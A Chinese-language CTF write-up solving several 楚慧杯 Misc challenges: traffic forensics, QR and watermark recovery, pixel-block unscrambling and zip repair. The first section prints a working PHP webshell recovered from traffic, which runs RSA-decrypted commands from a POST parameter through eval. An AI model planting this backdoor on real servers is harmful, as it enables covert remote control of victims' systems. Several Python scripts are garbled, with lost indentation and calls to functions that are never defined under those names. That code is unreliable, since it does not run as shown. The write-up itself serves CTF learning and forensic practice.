楚慧杯Misc—复现

标签：tiles sub Misc flag 复现 file 楚慧杯 tile new

gza_CrackerCrack_me

追踪tcp流量

找到字典

保存字典，上流量一把梭

base64解密

特殊流量2

一把梭出个www.zip

打开，是个RSA

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
foreach($_POST as $k => $v){
    if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
       $_POST[$k]=$de;
  }
}
eval($cmd);

公钥

回到一把梭，发现ZmxhZ的flag头

直接用内置的base64解密

flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.126.139  netmask 255.255.255.0  broadcast 192.168.126.255
        inet6 fe80::2440:7aed:48c2:9f1c  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:24:00:8d  txqueuelen 1000  (Ethernet)
        RX packets 152907  bytes 33360002 (31.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 204935  bytes 100905582 (96.2 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 1860  bytes 545117 (532.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1860  bytes 545117 (532.3 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

0fa99
/opt/lampp/htdocs/uploads
718a30

搞公钥

替换公钥

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcxPkExXQDSdke4
BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ5qKi7yN6zGVMUpQsV6kFs0GQV
krJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1JRAcfJSQCvaw6O8uq3wIDAQAB

再一把梭

发现U2，疑似AES

脚本爆破

import itertools
input_string = "xx34d619x1brxgd9mgd4xzxwxytv669w"
replace_chars = 'i7x'
indexes_of_x = [i for i, char in enumerate(input_string) if char == 'x']
replacement_combinations = itertools.product(
    replace_chars, repeat=len(indexes_of_x))
with open('a.txt', 'w') as output_file:
for combination in replacement_combinations:
    # Apply the combination to the original string
temp_list = list(input_string)
for idx, replacement in zip(indexes_of_x, combination):
temp_list[idx] = replacement
# Generate the final string
output_string = ''.join(temp_list)
# Write to the file
output_file.write(output_string + '\n')
print("All possible results have been written to a.txt")

拿字典用B神工具一把梭

得到 i734d619i1brigd9mgd4xz7w7ytv669w 和DeltaAlphaSierraCharlieTangoFoxtrotThreeFoxtrotDeltaThreeFourBravoFiveNineDash FourEchoNineDeltaDashFourThreeNineZeroDashNineTwoSevenBravoDashOneThree FourSixDeltaFiveThreeSixFourDeltaNineNine

拿去解AES得到flag 3fd34b59-4e9d-4390-927b-1346d5364d99

不良劫

对图片进行foremost发现⼆维码，但被污染

方法一：ps曲线处理3到4次，换上左上角的定位符，可扫
方法二：stegsolve先处理一下，然后window画图手动处理

另一半盲水印

拼接得DASCTF{014c6e74-0c4a-48fa-8b33-ced16f847e39}

PixMatrix

(flag.jpg)^T => (PixMatrix.jpg)

   flag.jpg                                       PixMatrix.jpg

1 1 1 1 2 2 2 2                                  1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2                                  1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2                                  1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2                                  1 1 1 1 3 3 3 3
3 3 3 3 4 4 4 4                                  2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4                                  2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4                                  2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4                                  2 2 2 2 4 4 4 4

这⾥进行了⼀个8x8矩阵的转置操作，分析图片大小512x72可知，图片可以被分为8x8⼀组的矩阵进行置换

from PIL import Image
def divide(image_route):
picture = Image.open(image_route)
horizontal_span, vertical_span = picture.size
# 初始化⼀个列表，⽤于存储所有的 8x8 块
tiles = []
# 遍历图⽚，按 8x8 的块分割
for y_coordinate in range(0, vertical_span, 8):  # 按⾏遍历
    for x_coordinate in range(0, horizontal_span, 8):  # 按列遍历
       # 裁剪当前的 8x8 块
    tile = picture.crop((x_coordinate, y_coordinate, x_coordinate + 8,
                         y_coordinate + 8))
    tiles.append(tile)
    return tiles, picture.size


def separate(tile):
    sub_tiles = [
        tile.crop((0, 0, 4, 4)),  # 左上
        tile.crop((4, 0, 8, 4)),  # 右上
        tile.crop((0, 4, 4, 8)),  # 左下
        tile.crop((4, 4, 8, 8))  # 右下
    ]
    return sub_tiles


def interchange(sub_tiles):
    sub_tiles[1], sub_tiles[2] = sub_tiles[2], sub_tiles[1]
    return sub_tiles


def combine(sub_tiles):
    new_tile = Image.new("RGB", (8, 8))
    new_tile.paste(sub_tiles[0], (0, 0))  # 左上
    new_tile.paste(sub_tiles[1], (4, 0))  # 右上
    new_tile.paste(sub_tiles[2], (0, 4))  # 左下
    new_tile.paste(sub_tiles[3], (4, 4))  # 右下
    return new_tile


def manipulate(image_route, output_route):
    tiles, original_dimensions = divide_photo_into_8x8_tiles(image_route)
    processed_tiles = []
    for tile in tiles:
    sub_tiles = separate_8x8_into_4x4(tile)
    sub_tiles = interchange_upper_right_lower_left(sub_tiles)
    new_tile = combine_4x4_into_8x8(sub_tiles)
    processed_tiles.append(new_tile)
    store_processed_image(processed_tiles, original_dimensions,
                          output_route)


def store(tiles, original_dimensions, output_route):
    # 将处理后的块重新组合成图⽚
    new_picture = Image.new("RGB", original_dimensions)
    tile_counter = 0
    for y_coordinate in range(0, original_dimensions[1], 8):
    for x_coordinate in range(0, original_dimensions[0], 8):
    new_picture.paste(tiles[tile_counter], (x_coordinate,
                                            y_coordinate))
    tile_counter += 1
    # 保存结果
    new_picture.save(output_route)


image = "PixMatrix.jpg"
output = "flag.jpg"
manipulate_image(image, output)
print(f"处理完成，结果已保存到 {output}")

马赛克

from(落雨师傅）
AXIOM，搜索flag，发现flag.zip

还发现了个password.txt和readme.txt

全部用MemprocFS提取⼀下

文件损毁了

找到打乱txt

直接打开打乱.txt，没东西，010打开之后才发现加密了。 010打开拿到这个

f = open('./flag.zip','rb').read() 
   n = open('./new.zip','wb') 
       L=len(f) 
     for i in range(int(L/10)):
     n.write(f[5*i:5*i+5]) 
         n.write(f[L-5*i-5:L-5*i])

脚本修复

def extract_flag_data(enc_file_path, dec_file_path):


with open(enc_file_path, 'rb') as encrypted_file:
encrypted_data = encrypted_file.read()
data_length = len(encrypted_data)
flag_bytes = bytearray(data_length)
for idx in range(data_length // 10):
start_flag_pos = 5 * idx
start_encrypted_pos = 10 * idx
flag_bytes[start_flag_pos:start_flag_pos + 5] =
encrypted_data[start_encrypted_pos:start_encrypted_pos + 5]
end_flag_start_pos = data_length - 5 * idx - 5
end_flag_end_pos = data_length - 5 * idx
flag_bytes[end_flag_start_pos:end_flag_end_pos] = encrypted_data[
    start_encrypted_pos + 5:start_encrypted_pos + 10]
with open(dec_file_path, 'wb') as decrypted_file:
decrypted_file.write(flag_bytes)
print("output is here", dec_file_path)
enc_file_path = './flag.zip'
dec_file_path = './flag1.zip'
extract_flag_data(enc_file_path, dec_file_path)

修复成功但是要密码